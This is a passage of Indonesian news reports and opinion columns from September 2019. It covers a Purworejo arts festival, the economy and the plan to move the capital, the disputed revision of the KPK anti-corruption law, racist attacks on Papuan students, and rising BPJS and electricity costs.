Purworejo, FNN- Sawunggalih Art Festival (Safest) kembali digelar tahun ini, tepatnya 5-6 Oktober 2019. Gelaran seni dan budaya masyarakat Purworejo kali ini mengangkat tema Heaven & Earth, tujuanya untuk mengelaborasi para seniman baik yang ada di dalam maupun di luar Purworejo. Festival kedua ini juga akan melibatkan pelajar dan mahasiswa di Kota Pejuang ini. “Kita juga akan mengedukasi seni bagi pelajar dan mahasiswa Purworejo dalam bentuk workshop kreativitas tari, musik, dan seni rupa yang akan dibimbing oleh para instruktur, seniman yang dipilih oleh panitia Safest,” kata Ketua Panitia Safest, Nungki Nur Cahyani di Purworejo (10/09). Nungki menegaskan bahwa Safest selalu mengangkat tema yang agak unik, yang mampu menjadi sarana renungan dan kontemplasi bersama agar bisa memberi pemahaman kepada kita untuk lebih bisa mencintai tanah leluhur, lebih membumi dalam bersikap dan berpikir, dan semua segala kebaikan yang dilakukan dengan tulus tanpa pamrih. Jika kita berbuat baik, maka kebaikan pula yang akan kita dapat. Bumi leluhur adalah surga kita. Bumi leluhur di sini, kata Nungki bisa bermakna mencintai tanah leluhur kita, asal usul kita atau paham nasionalisme kita, kemudian membumi dalam bersikap dan bertindak. Ini adalah rumus “genuine” yang ada di setiap daerah di Nusantara, misalnya di Bali dengan Tri Hitta Karana, dalam Islam ada Al-Dhifa an Al Wathan. Esensinya adalah sama, yakni menciptakan kebahagiaan, kedamaian berasal dari harmonisasi diri kita, alam semesta dan pencipta. Para peserta yang tampil, seniman baik musisi maupun penari yang akan mempersembahkan sajian pada Safest 2019 ini tidak akan bergeser dari rel besar tema ini. Mereka akan total mengeksplorasi, memadukan latar panggung yang apik dalam balutan bangunan heritage tahun 1800 awal, di Stasiun Purworejo Lama. Sama seperti tahun lalu, Safest tahun ini mendapat dukungan dari Diaspora Purworejo, Komunitas Lima Gunung Magelang, Rumah Banjarsari Surakarta, Dewan Kesenian Purworejo, dan Pemkab Purworejo. Sawunggalih Art Festival pertama kali digelar pada 7 Desember 2018 sekaligus sebagai penanda berdirinya Festival Budaya dan Seni masyarakat Purworejo terbaik di Jawa Tengah. Festival ini akan menjadi acara rutin tahunan masyakat Purworejo pecinta seni dan budaya. Mengapa memilih tempat di Stasiun Kereta Api lama? Sebab ornamen stasiun ini menginspirasi ruang seni pertunjukan, mengandung nilai sejarah yang sarat kearifan dan sebagai salah satu bangunan heritage kebanggaan Purworejo yang perlu dijaga, dirawat dan diviralkan. Kelak, diharapkan masyarakat luas akan semakin mencintai Purworejo karena kota ini memiliki banyak kenangan, perjuangan, dan nilai spiritual yang mampu membentuk karakter Wong Purworejo yang berbeda dengan daerah lain. (SWS)

Tahun 2022 Ekonomi Tumbuh 4.6%, Jokowi Harus Batalkan Pindah Ibukota

Oleh Gde Siriana Yusuf Bank dunia di hadapan Jokowi saat bertandang ke istana Negara 2 September 2019 lalu, memaparkan prediksi ekonomi Indonesia pada tahun 2022. Diperkirakan ekonomi Indonesia pada tahun tersebut hanya akan tumbuh pada angka 4,6%. Prediksi Bank Dunia juga menunjukkan tren negatif sejak 2018 (5.17%), 2019 (5.1%), 2020 (4.9%). Sementara sejak Agustus lalu, Jokowi justru mengumumkan rencana pindah Ibukota ke pulau Kalimantan yang membutuhkan dana tidak sedikit. Permasalahannya, bukan hanya anggaran yang besar. Namun apakah rencana pindah ibukota itu proper dalam situasi ekonomi nasional yang sedang sulit. Kondisi ini diperparah dengan gejolak ekonomi global yang diprediksi banyak lembaga ekonomi dan keuangan internasional sedang menuju resesi. Jika mengamati kondisi ekonomi saat ini saja, dengan pertumbuhan hanya berkisar 5%, maka pemerintah masih menghadapi trio defisit (neraca dagang, CAD & anggaran negara). Selain itu, masalah keuangan atau likuiditas seperti defisit BPJS. Bahkan pada tahun 2020 nanti, pemerintah merencanakan mengurangi subsidi energi, yang sangat mungkin diikuti dengan kenaikan harga (Tempo.com 6 Sep 2019). Jadi, dapat dikatakan rencana memulai pembangunan ibukota baru pada tahun 2022 sangat tidak relevan lagi. Sebaliknya, pemerintah harus segera membenahi ekonomi nasional di masa jelang krisis globa. Targetnya untuk menyelamatkan negara dari krisis yang lebih besar. Paradigma ini jauh lebih rasional ketimbang urusan pemindahan ibukota yang masih belum jelas dampaknya secara ekonomi dalam waktu dekat. Jokowi harus segera umumkan penundaan pemindahan ibukota hingga ekonomi nasional membaik. Langkah ini perlu dilakukan, agar semua kementerian, Badan Usaha Milik Negara (BUMN), pengusaha dan masyarakat fokus pada penyelematan ekonomi nasional. Semua komponen bangsa harus dalam kebijakan yang sama menghadapi resesi ekonomi dunia Untuk itu, dipererlukan kebijakan yang efektif berdampak langsung pada persoalan mendasar yang sesungguhnya. Misalnya, produktifitas yang rendah dan perlambatan pertumbuhan angkatan kerja. Juga perlu reindustrialisasi dan relokasi industri ke lima pulau besar seperti Sumatera, Kalimantan, Sulawesi dan Papua harus segera dimulai. Tanggalkan dulu mimpi pemindahan ibukota ke Kalimantan Timur. Penundaan pindah ibukota oleh Jokowi juga dapat mencegah keraguan dan sikap menunggu para investor, baik asing maupun domestik tentang kapan kepastian pindah ibukota. Belum lagi jika reasoning Jokowi tentang pemindahahan ibukota seperti scheme pembiayaan BUMN-Swasta dan full swasta. Petimbangan lokasi di tengah-tengah wilayah Indonesia juga bisa saja akan ditiru oleh pemerintah propinsi. Misalnya, Jawa Timur akan pindahkan ibukota lebih ke tengah-tengah dengan scheme pembiayaan swasta dan tidak gunakan Anggaran Pendapatan dan Belanja Daerah (APBD). Siapa pihak swasta yang tidak tergiur dengan Tera Project? Penulis adalah Direktur Eksekutif Government & Political Studies (GPS)

Undang-Undang KPK Bukanlah Barang Yang Haram Untuk Direvisi

Menurut saya, setelah belasan tahun KPK berdiri, dan setelah ada evaluasi yang menyeluruh, KPK memang gagal mewujudkan agenda reformasi yang mengamanatkan terwujudnya pemerintahan yang berwibawa bebas dari korupsi, kolusi dan nepotisme. akibat kegagalan itu, menurut saya undang-undang KPK harus dirubah, sehingga pemberantasan korupsi tidak terlalu bias seperti sekarang ini. Oleh Dr. Ahmad Yani Palu sidang perubahan Undang-Undang Nomor 30 Tahun 2002 tentang Komisi Pemberantasan Korupsi (KPK) telah diputuskan oleh DPR RI. Proses menghidupkan lagi revisi undang-undang KPK sempat tertunda beberapa kali. Tahun 2017, sempat hangat isu revisi terhadap undang-undang tersebut. Namun penolakan dari internal KPK begitu kuat, sehingga tidak bisa terlaksana. Meskipun penolakan begitu kuat, DPR dengan kewenangan legislasi yang melekat padanya, akhirnya mengambil keputusan dalam suasana senyap. Sepi dari pemberitaan media, DPR RI pada hari Kamis 6 September 2019 menggelar rapat paripurna yang salah satu agendanya adalah mengesahkan perubahan undang-undang KPK yang menjadi inisiatif DPR. Reaksi terhadap keputusan DPR merubah undang-undang KPK bermunculan. Lima unsur perguruan tinggi memberikan reaksi bersamaan. Alumni Universitas Indonesia (UI), Asosiasi Pengajar Universitas Islam Indonesia (UII) Jogyakarta, Dosen Universitas Paramadina, Kampus Univeritas Gajah Mada (UGM), Universitas Mulawarman Samarinda, menolak revisi undang-undang KPK dengan alasan masing-masing. Kesimpulan dari lima unsur perguruan tinggi itu menyatakan bahwa revisi undang-undang KPK adalah upaya melemahkan KPK. Sebaliknya, dukungan terhadap inisiatif DPR merubah undang-undang KPK juga tidak kalah besarnya. Guru besar dan Dosen Hukum Pidana, Hukum Acara Pidana, Hukum Tata negara, Hukum Keuangan Negara, dari berbagai Universitas baik negeri maupun swasta menyatakan mendukung DPR. Masyarakat dan pemuda yang tergabung dalam Aliansi Masyarakat Anti Korupsi, Aliansi Masyarakat Cinta KPK, Forum Peduli Keadilan Bangsa dan lain sebagainya juga menyatakan dukungan terhadap perubahan undang-undang KPK. Terlepas dari dua kekuatan yang saling berlawanan itu, saya berpendapat Bahwa perubahan undang-undang merupakan kewenangan DPR dan Presiden. Dukungan yang datang dari berbagai pihak itu hanya sebagai bahan masukan. Selama ini ada opini yang berkembang bahwa KPK itu lembaga super body yang tidak bisa diintervensi oleh kekuasaan manapun. Sehingga ketika regulasi ingin dilakukan perubahan, selalu dianggap sebagai bentuk intervensi terhadap KPK. Padahal KPK bukan lembaga legislatif, tidak memiliki kewenangan apapun dalam hal membuat dan merubah undang-undang. Penolakan KPK terhadap kehendak legislasi yang dimiliki oleh DPR dan pemerintah, sebenarnya mencerminkan sebagai lembaga yang tidak taat hukum. KPK ingin menjadi single power, dengan menempatkan diri sebagai lembaga paling "suci" yang tidak bisa dipersoalkan oleh lembaga lain termasuk lembaga inti negara. Kegagalan KPK Kegagalan KPK menempatkan diri sebagai lembaga negara bantu (Auxiliary State Organ) tidak hanya melahirkan kerancuan dalam sistem ketatanegaraan Indonesia. Namun malah telah tjuga melahirkan institusi yang menyalahgunakan kekuasaannya (Abuse of power). Padahal kehadiran KPK adalah untuk melakukan trigger mecanism karena dua institusi penegak hukum seperti Kejaksaan dan Kepolisian dianggap gagal memberantas Korupsi. KPK dalam hal penindakan seharusnya berperan sebagai trigger mechanism. Yaitu mendorong kepolisian dan kejaksaan untuk melakukan penegakan hukum korupsi dengan baik, bukan melakukan penindakan berdasarkan seleranya sendiri. Peran KPK harus maksimalkan fungsi koordinasi dan supervisi terhadap kejaksaan dan kepolisian. Sebab, selama KPK dibentuk, fungsi kordinasi, supervisi, belum maksimal dalam menjalakan peran trigger mekanism atau mendorong upaya pemberantasan korupsi kepada lembaga-lembaga lain agar lebih efektif dan efisien, dalam hal ini Jaksa dan Polisi. KPK selalu mengambil jalan sendiri dalam penegakan hukum korupsi. Sampai hari ini keberhasilan KPK masih jauh panggang dari api. Kegagalan yang paling mencolok adalah pada fungsi pencegahan dan pada audit investigasi BPK. Pada tahun 2013-2017, KPK sama sekali gagal dalam melakukan pencegahan. Adapun penindakan yang dilakukan KPK dengan menggunakan Operasi Tangkap Tangan (OTT) sarat dengan tindakan entrapment (jebakan) kepada calon tersangka. Karena itu banyak pihak menilai bahwa KPK bekerja menurut selera kekuasaan bukan menurut aturan hukum. KPK adalah lembaga yang pada awalnya dibentuk dengan desain untuk yang sangat ketat. Kewenangan yang dimiliki sangat besar,untuk menindak pelaku korupsi. Dalam menangani perkara KPK tidak mengenal Surat Pemberhentian Penyidikan Perkara (SP3). Karena itu dalam melakukan proses penegakan hukum yang benar dan adil, bukan atas dasar stigma, apalagi kebencian terhadap warga yang belum tentu bersalah atas sesuatu yang disangkakan atau dituduhkan kepadanya (asas praduga tak bersalah) Namun dalam perjalanannya, pada beberapa kasus terlihat bahwa KPK tidak hati-hati dalam menetapkan orang sebagai tersangka. Beberapa tersangka yang ditetapkan menyalahi prosedur seperti Budi Gunawan, Hadi Purnomo, Taufiqurrahman (Bupati Nganjuk), Ilham Arif Sirajuddin (Walikota Makassar) dan Serta Novanto, membuktikan KPK tidak hati-hati dalam menggunakan kewenangan yang melekat padanya. Meskipun Setya Novanto dan Ilham kembali ditetapkan tersangka setelah memenangkan Gugatan Pra-peradilan. Namun putusan pengadilan itu cukup menjadi bukti bahwa KPK bukanlah lembaga yang sepenuhnya benar dalam melakukan tugas dan kewenangannya. Kegagalan KPK dalam supervisi, kordinasi, penindakan, pencegahan dan memonitoring sesuai perintah pasal 6 undang-undang KPK adalah cerminan kebijakan lembaga negara yang berpotensi merugikan negara dan kegagalan mencegah terjadinya korupsi. Kenyataan ini membuat Indonesia belum dapat menjadi peringkat negara yang aman dan bebas korupsi. Kegagalan itu menjadi satu masalah tersendiri bagi transisi demokrasi. Cara kerja KPK memperpanjang transisi demokrasi membuat iklim investasi banyak yang terhambat. Kebijakan tidak dapat diambil akibat adanya ketakutan terhadap ancaman untuk berbuat atau tidak berbuat sesuatu. Sebab keputusan yang akan dibuat, bisa saja dianggap korupsi dengan dalil pasal 3 undang-undang KPK. Selain itu, KPK masih menjadi penikmat gegap gempita pujian dalam membongkar Big News, sehingga asyik sendiri. KPK gagal membongkar BiG Case, seperi kasus, sumber Daya Alam (SDA) dan Migas (SKK Migas). KPK hanya berhenti di kasus suap menyuap saja, seperti kasus perbankan, reklamasi, Trans Jakarta, Rumah Sakit Sumber Waras, dan perpajakan. KPK seharusnya Fokus kasus-kasus besar, seperti di SDA dan Migas, perpajakan, perbankan, pasar modal, hutang luar negeri, impor pangan dan barang lain, reklamasi, meikarta, kejahatan corparasi, cost recovery. Sayangnya, KPK terlalu ambisi menangkap korupsi kecil, seperti OTT Rp 100 juta, yang sebenarnya bukan domain kerja KPK diambil juga. Merevisi UU KPK Kegagalan-kegagalan KPK itu nampaknya oleh pendukung KPK tidak dianggap sebagai kegagalan. Mereka para pendung KPK terus memobilisasi opini untuk melawan hak anggota DPR mengajukan Rancangan Undang-Undang (RUU) maupun amandemen undang-undang. Tentu bagi saya ini merupakan cara yang tidak sehat dalam bernegara. Tanpa disadari, undang-undang KPK sudah beberapa kali dirubah melalui Judicial Review di Mahkamah Konstitusi yang diajukan oleh beberapa pihak dan Lembaga Swadaya Masyarakat (LSM). Kita patut merasa heran bahwa LSM boleh mengajukan perubahan UU KPK melalui Judicial Review tanpa diributkan oleh oknum-oknum di KPK. Sementara DPR dan Presiden yang memiliki fungsi sekaligus hak untuk membuat maupun merubah undang-undang, dianggap haram merubah undang-undang KPK. Saya pun sudah sejak lama mengusulkan perubahan undang-undang KPK. Ususlan tersebut, baik dalam rapat kerja dengan KPK maupun dalam beberapa tulisan. Sebab undang-undang KPK sekarang masih terdapat kelemahan-kelemahan yang perlu diperbaiki. Harus diketahui bahwa hak DPR itu adalah yang melekat dan tidak boleh di persoalkan dengan cara memobiliasi massa dan membuat panggung protes. Sebab KPK tidak bisa melawan hak lembaga negara inti (state mein organ) dengan cara-cara "jalanan" seperti itu. Menurut saya, setelah belasan tahun KPK berdiri, dan setelah ada evaluasi yang menyeluruh, KPK memang gagal mewujudkan agenda reformasi yang mengamanatkan terwujudnya pemerintahan yang berwibawa bebas dari korupsi, kolusi dan nepotisme. akibat kegagalan itu, menurut saya undang-undang KPK harus dirubah, sehingga pemberantasan korupsi tidak terlalu bias seperti sekarang ini. Perubahan undang-undang KPK ini harus memberikan penegasan terhadap tiga hal. Pertama, menagaskan posisi KPK dalam struktur ketatanegaraan Indonesia. Apakah dia di eksekutif, legislatif, atau yudikatif. Tetapi melihat tugas dan kewenangannya, KPK adalah lembaga Eksekutif. Kedua, KPK tidak bisa bekerja sendiri dalam melakukan penindakan. Sebab KPK merupakan trigger mecanism yang harus bersinergi dengan lembaga kejaksaan dan kepolisian. Ketiga, KPK harus diawasi oleh satu dewan, sehingga tidak "liar" dalam melakukan pemberantasan korupsi. Masih perlukah ada KPK? Banyak isu yang berkembang bahwa perubahan undang-undang KPK akan memperlemah KPK. Bahkan akan mengarah pada pembubaran KPK. Isu seperti ini memang selalu hadir bersamaan dengan mencuatnya isu perubahan undang-undang KPK. Bagi saya, perubahan undang-undang KPK sama sekali tidak melemahkan KPK. Bahkan sebaliknya memperkuat sistem organisasi KPK. Pembentukan dewan Pengawas, memperjelas posisi KPK dalam tiga cabang kekuasaan, dan menambahkan beberapa aturan tentang kordinasi dan pencegahan, merupakan jalan perbaikan bagi KPK. Langkah ini sekaligus memperkuat posisi KPK sebagai lembaga pemberantas korupsi yang sangat dibutuhkan. Perubahan undang-unang KPK juga mempertegas bahwa KPK masih sangat dibutuhkan oleh Negara. KPK juga masih diharapkan dapat memperbaiki kehidupan bangsa dan Negara, sehingga bebas dari KKN. Oleh karena itu, perubahan undang-undang KPK adalah jalan memperkuat posisi KPK dalam menjalan tugas dan kewenangannya Penulis adalah mantan Anggota Komisi III DPR RI dan Dosen Fakultas Hukum, Ilmu Sosial dan Ilmu Politik Universitas MuhammadiyahJakarta.

Kita Lihat, Apakah Presiden Jokowi Akan Ikut Hancurkan KPK

By Asyari Usman Semua orang sudah jelas melihat bahwa Komisi Pemberantasa Korupsi (KPK) tidak lagi diinginkan keberadaannya oleh DPR. Semua fraksi di lembaga wakil rakyat itu setuju UU tentang KPK Nomor 30 Tahun 2002 diubah (direvisi) sampai kandas. Sampai KPK tak punya apa-apa lagi. Karena revisi UU harus disetujui Presiden, maka manuver berikutnya ada di tangan Presiden Jokowi. Rakyat bisa mengamati apakah Jokowi akan ikut juga menghancurkan KPK atau tidak. Presiden bisa menolak revisi itu seluruhnya. Apa-apa saja yang membuat KPK ‘mati’ akibat revisi itu? Ada sembilan poin perubahan UU KPK yang membuat lembaga antikorupsi itu akan hancur. Independensi KPK terancam. Sebab, revisi itu menciptakan ‘atasan kedua’ KPK selain Presiden. Yaitu, Dewan Pengawas (DP). DP akan dipilih oleh DPR. Kekuasaannya sangat besar. Penyadapan telefon terduga koruptor harus mendapat izin dari DP. Begitu juga untuk tindakan penggeledahan, harus juga ada izin mereka. Penyadapan dipersulit dan dibatasi. Padahal, inti dari tugas pemberantasan korupsi KPK itu adalah penyadapan telefon. Kalau DP tidak mengizinkan, berarti OTT tak bisa dilakukan. Pembentukan Dewan Pengawas yang dipilih oleh DPR. Ini artinya DPR ingin agar KPK bisa mereka kekang gerak-geriknya. Hampir pasti akan banyak kepentingan pribadi para anggota Dewan yang akan dilindungi oleh DP. Sumber Penyelidik dan Penyidik dibatasi. Berarti, KPK tidak bisa melakukan rekrutmen secara independen. KPK dipaksa mengambil tenaga penyidik dari kepolisian saja. Ini sangat rawan. Bisa terjadi penyelewengan. Penuntutan Perkara Korupsi Harus Koordinasi dengan Kejaksaan Agung. Anda bisa duga sendiri apa tujuan koordinasi ini. Sampai sekarang reputasi Kejaksaan tidak pernah pulih di mata rakyat. Revisi ini akan memberikan peluang kepada Kejaksaan untuk ‘mempengaruhi’ penuntutan di KPK. Perkara yang mendapat perhatian masyarakat tidak lagi menjadi kriteria. Sudah pastilah KPK akan ditelefon terus-menerus oleh entah siapa-siapa di DP atau di institusi-institusi lain agar KPK tidak melanjutkan kasus ini atau kasus itu. Kewenangan Pengambilalihan perkara di Penuntutan dipangkas. Ini menjelaskan bahwa KPK tidak bisa lagi mengambil alih wewenang penuntutan perkara-perkara yang mengalami kemacetan. Hanya bisa di tingkat penyelidikan. Tentu bisa ditebak mengapa revisi soal pengambilalihan penuntutan ini dimunculkan. Kewenangan-kewenangan strategis pada proses Penuntutan dihilangkan. Revisi ini juga membuat KPK bangkrut total. Kalau revisi disetujui oleh Presiden, maka KPK tak bisa lagi meminta pencekalan tersangka korupsi. Tak bisa meminta bantuan bank. Tidak bisa pula meminta bantuan agar transaksi korupsi diblok. Juga tak bisa meminta bantuan Polri dan Interpol. Kewenangan KPK untuk mengelola pelaporan dan pemeriksaan LHKPN dipangkas. Ini berarti para calon pejabat atau pejabat petahana bisa sesuka hati mereka mau melaporkan atau tidak melaporkan harta-kekayaan mereka. Selama ini, KPK punya wewenang untuk menagih laporan harta-kekayaan penyelenggara negara. Itulah formula ‘racun ganas’ yang ditawarkan DPR untuk KPK. Apakah KPK akan dipaksa menenggak racun ini, tergantung pada sikap Presiden Jokowi.

Natalius Pigai : Lempar Ular ke Asrama Mahasiswa Papau, “Wujud Kebencian Rasial”

Jakarta, FNN – Aktivis kemanusiaan Natalius Pigai mengatakan, tindakan melempar karung yang berisi ular piton ke asrama mahasiswa Papua di Jalan Kalasan Surabaya adalah bentuk tindakan kebencian atas dasar rasial. Subuah perbuatan yang sangat keji dan tidak bermartabat. Bantuk lain dari teror terhadap rasa kemanusian. “Tindkan seperti ini tidak pantas dilakukan oleh mereke-mereka yang mengaku loyalis pancasialis. Mengaku menjunjung tinggi Pancasila sebagai harga mati. Tidak pantas bagi masyarakat yang mengedepankan toleransi, menghargai kebhinekaan dan fluralisme, “ujar Natalus Pigai kepada FNN di Jakarta, Senin (09/09) Ditambahkan Natalius, setelah berhasil menteror mahasiswa Papua dengan jenis binatang yang namanya “monyet” sebagai bentuk rasis, kini giliran ada yang melancarkan perbuatan rasis dengan jenis binatang yang lain. Sekarang, giliran penyerangan rasial tersebut dengan menggunakan ular piton. Sungguh perbuatan yang sangat tidak bermartabat dan tidak berprikemanusiaan Menanggapi penyerangan terhadap asrama mahasiswa Papua di Surabaya dengan karung yang berisi ular piton, Menteri Kordinator Politik dan Keamanan (Polhukam) Wiranto mengatakan, perbuatan tersebut adalah skenario tindakan oknum pengacau. Berkaitan dengan pernyataan Wiranto tersebut, Natalius Pigai mengatakan, “silahkan Wiranto tunjuk batang hidungnya”. Jangan hanya asal ngomong, namun tidak bisa tunjuk siapa orangnya. Tunjuk dong siapa orangnya, dan silahkan diproses secara hukum. “Saya minta Wiranto tunjuk batang hidungnya. Jangan hanya menghindar dari ketidakmampuan pemimpin melindungi dan menghadirkan rasa kepada warga negara. Kalau tidak bisa tunjuk batang hidungnya, maka saya katakana tidak ada skenario dari pengacau. Itu adalah bentuk nyata dari tindakan rasis oleh masyarakat kepada anak-anak mahasiswa Papua, “ujar Natalius Pigai Kejadian ini adalah bentuk nyata orang Jawa yang rasis terhadap rakyat dan bangsa Melanesia. Harus diusut pemimpin-pimpinannya. Usut juga pelaku yang menyatakan negara hadir melindungi rakyat. “Untuk itu, ke depan pemimpin negara ini jangan hanya dimonopoli oleh satu suku saja. Pasti akan subjektif dan terkesan rasis dalam pelayanan kepada warga negara. Saya minta negara tangkap itu pemimpin-pemimpin yang mengusir, menteror dan mengintimidasi kepada rakyat Papua atas dasar kebencian rasialisme, “tambah Natalius Pigai Menurut Natalius Pigai, pemerintah juga sudah berlaku diskriminatif dan rasialis. Rakyat Papua diintimidasi dimana-mana. Sementara mereka menyerang dan menguber–uber rakyat Papua seperti penjahat atau kriminal. Korban dianggap sebagai pelaku. Sebaliknya, pelaku dibilang sebagai korban. Luar biasa kebencian rasial tersebut. “Jika tindakan segregasi ras dan etnik terhadap bangsa Papua ini terus dibiarkan, maka tidak ada kehidupan ras negro Melanesia di Indonesia. Setiap asrama Papua disisir. Mahasiswa Papua disweeping, dan terancam tidak bisa melanjutkan pendidikan di luar Papua. Saya mengecam semua tindakan rasis dan biadab ini, “tegas Natalius Pigai

Iuran BPJS Naik, Listrik Naik, Pajak Naik, Terus Rakyat Mau Makan Apa ?

Coba Anda bayangkan, berapa beban hidup keluarga di zaman yang super zalim ini. Katakanlah, satu keluarga terdiri dari empat orang. Jika mereka terdaftar BPJS pada kelas ke-1, maka per bulan pengeluaran rumah tangga khusus untuk bayar iuran BPJS kesehatan sebesar 4 X 160.000. Totalnya Rp. 640.000. Oleh Nasrudin Joha Jakarta, FNN - Luar biasa zalim rezim ini. Belum juga dilantik untuk periode kedua, sejumlah kebijakan yang akan mencekik rakyat telah dipersiapkan. Pada saat yang sama, rezim justru pamer kemewahan dengan rencana membeli sejumlah mobil dinas untuk Presiden, menteri dan pejabat tinggi, yang menekan anggaran hingga ratusan miliar. Pemerintah sudah bulat menaikkan iuran program Jaminan Kesehatan Nasional (JKN) BPJS Kesehatan sebesar 100 persen berdalih untuk menutup defisit JKN. Kenaikan iuran akan diberlakukan mulai 1 Januari 2020. Kenaikan ini berlaku untuk peserta BPJS kelas I dan kelas II. Kelas I kelas II terhitung mulai 1 Januari 2020 iuranya naik menjadi Rp 160.000 dan Rp 110.000. Pemerintah juga berencana mencabut subsidi listrik 24,4 juta pelanggan 900 VA pada 2020. Usul pencabutan subsidi 24,4 juta pelanggan listrik 900 VA datang langsung dari Kementerian ESDM yang berdalih karena 24,4 juta pelanggan tersebut merupakan rumah tangga mampu (RTM). Belum lagi, kenaikan pengenaan tarif pajak, ekstensifikasi dan intensifikasi pajak, jelas semakin membebani rakyat. Nampaknya, rezim mau menikmati kemenangan Pilpres dan berbagi kue kekuasan, dengan membebankan 'pesta kekuasan' itu kepada pundak rakyat. Coba Anda bayangkan, berapa beban hidup keluarga di zaman yang super zalim ini. Katakanlah, satu keluarga terdiri dari empat orang. Jika mereka terdaftar BPJS pada kelas ke-1, maka per bulan pengeluaran rumah tangga khusus untuk bayar iuran BPJS kesehatan sebesar 4 X 160.000. Totalnya Rp. 640.000. Jika pengeluaran listrik rata-rata 200 kwh yang harganya nanti bisa mencapai 400.000,- maka pengeluaran per bulan untuk urusan listrik dan iuran BPJS sejumlah 400.000 ditambah 640.000. Total pengeluaran per bulan Rp. 1.040.000,- Jika penghasilan keluarga itu hanya ditopang oleh pekerjaan sang ayah dengan asumsi pendapatan UMR sekitar 3,7 juta, maka pengeluaran untuk listrik dan iuran BPJS telah memangkas Alokasi hingga nyaris 30 % menyedot Penghasilan. Apalagi jika keluarga ini tinggal di daerah Jawa tengah yang UMR nya masih kisaran 2-3 juta. Pengeluaran listrik dah BPJS ini akan menyedot nyaris 50 % dari total pendapatan keluarga. Bukankah kebutuhan rumah tangga bukan hanya bayar listrik dan iuran BPJS ? Masih ada kebutuhan makan, bayar kontrakan, biaya sekolah anak, yang semuanya juga wajib dipenuhi. Lantas, bagaimana keluarga mau mengaturnya ? Pemerintah sih enak, defisit anggaran tinggal memalak rakyat dengan pajak ini itu, iuran ini itu, pungutan ini itu. Mobil juga maunya baru, sampai mobil untuk Presiden dan menteri saja menelan biaya hingga 147 miliar. Urusan Papua tidak pernah kelar, yang diurusi cuma menari nari diatas bangkai penderitaan rakyatnya. Luar bisa, belum pernah ada rezim sezalim rezim ini sejak Republik ini berdiri. Penulis adalah Wartawan Senior dan Pemerhati Ruang Publik

Menyoal Visi-Misi Jokowi Tentang Korupsi : Agenda Apa Dibalik Pelemahan KPK?

Faktanya saat ini hampir 80-90% pegawai di KPK adalah non PNS. Seningga dengan berlakunya undang-undang KPK yang baru nanti, otomatis hampir 1.500 pegawai KPK yang bertugas di seluruh wilayah Indonesia, di berbagai kementrian harus berhenti bekerja karena surat perintah tugas yang mereka kantongi batal demi hukum. Seluruh pegawai KPK akan kehilangan status pegawainya. Setiap tindakan mereka juga harus dianggap batal demi hukum. Oleh Dr. Ismail Rumadan Jakarta, FNN - Masih belum hilang dari ingat public. Bagimna Jokowi dengan berapi-api mengemukakan visi dan misinya tentang penegakan hukum, dan pemberantasan korupsi dalam debat capres dan cawapres 2019 beberapa waktu yang lalu. Dalam koteks penegakan hukum korupsi, Jokowi seakan memahami kehendak dan kemauan masyarakat. Sehingga dengan tegas Jokowi menyebutkan bahwa ia akan “Memperkuat Komisi Pemberantasan Korupsi (KPK)”. Penguatan KPK sebagai satu-satunya lembaga yang terdepan dalam penegakan hukum korupsi. Namun visi dan misi yang dinyatakan secara tegas oleh Jokowi sedang menghadapi ujian berat. Sambil menunggu pelantikannya sebagai presiden periode kedua, KPK sedang diupayakan untuk dilemahkan secara hokum oleh DPR Ujian berat kepada Jokowi tersebut berkaitan dengan isu pelemahan KPK. Terdapat dua isu atau peristiwa yang sedang terjadi saat ini berkaitan dengan isu pelemahan KPK. Isu pertama, berkaitan dengan seleksi calon pimpinan KPK. Sedangkan isu yang kedua, berkaitan dengan revisi undang-undang KPK yang saat ini sedang digodok di DPR. Anehnya, sampai dengan detik ini Presiden Jokowi hanya berdiam diri. Sebagai kepala Negara, dan sekaligus sebagai kepala pemerintahan yang berkepentingan langsung dengan penegakan hukum korupsi, Jokowi belum memberikan tanggapan apa-apa. Jokowi juga tidak memberikan respon terhadap kedua permasalahan tersebut. Padahal komunitas masyarakat sipil pegiat anti korupsi sedang menyuarakan protes dimana-mana. Masyarakat menduga adanya upaya pelemahan KPK secara sistematis melalui seleksi calon pimpinan KPK. Masyarakat melayangkan protes agar presiden Jokowi agar tidak meloloskan calon pimpinan KPK yang telah diserahkan pansel kepada presiden. Salah satu pihak yang secara tegas menolak hasil seleksi capim KPK berasal dari Koalisi Masyarakat Sipil Anti Korupsi. Mereka beranggapan bahwa Para capim KPK bermasalah untuk menjadi pimpinan lembaga KPK. Oleh karena itu Jokowi diminta untuk memperhatikan rekam jejak capim KPK dengan baik. Bahkan Indonesia Corruption Watch (ICW) meminta agar Jokowi berani menolak nama-nama capim yang diserahkan pansel jika nama-nama itu tidak punya integritas. Bila perlu Jokowi mengevaluasi kembali kinerja pansel KPK. Protes ini dilakukan agar KPK tidak diisi oleh orang-orang yang tidak memiliki kapasitas. KPK juga jangan dipimpin oleh yang tidak mempunyai integritas. Bila tetap dipaksakan, maka KPK nantinya akan menjadi lembaga lemah terhadap penegakan hukum korupsi. Isu pelemahan KPK yang kedua, berkaitan dengan revai UU KPK. Publik sungguh sangat terkejut dengan usulan revisi undang-undang KPK. Sebab sebelumnya revisi UU KPK tersebut, tidak masuk dalam daftar inventarisasi Rancangan Undang-Undang (RUU) dan non RUU untuk periode tahun 2014-2019. Yang lebih mengejutkan lagi, karena pada masa sidang pertama 16 Agustus 2019, tiba-tiba saja Badan Legislasi DPR mengajukan usulan revisi undang-undang KPK. Kemudian secara diam-diam rancangan itu dibahas maraton dalam waktu yang amat singkat di internal Baleg DPR. Selanjutnya Rapat Paripurna (5/9/2019) dengan suara bulatDPR telah sepakat untuk mengajukan revisi undang-undang KPK agar dijadikan sebagai RUU atas usul inisiatif DPR. Luar biasa cepat, dan sangat senyap. Alih-alih untuk menguatkan lembaga KPK sebagaimana pernyataan tegas Jokowi saat penyampaian visi-misinya sebagai calon presiden. Revisi undang-undang KPK ini sangat tendensius. Bahkan terkesan sengaja didesain untuk menghabiskan posisi lembaga KPK dalam pemberantasan korupsi. Poin-poin pelemahan itu tampak jalas dalam beberapa kententuan revisi undang-undang KPK. Seperti pasal 1 angka 7: “Pegawai KPK adalah Pegawai Negeri Sipil (PNS) dan pegawai pemerintah dengan perjanjanjian kerja sebagaimana dimaksud dan peraturan perundang-undangan di bidang Aparatur Sipil Negara (ASN). Faktanya saat ini hampir 80-90% pegawai di KPK adalah non PNS. Seningga dengan berlakunya undang-undang KPK yang baru nanti, otomatis hampir 1.500 pegawai KPK yang bertugas di seluruh wilayah Indonesia, di berbagai kementrian harus berhenti bekerja karena surat perintah tugas yang mereka kantongi batal demi hukum. Seluruh 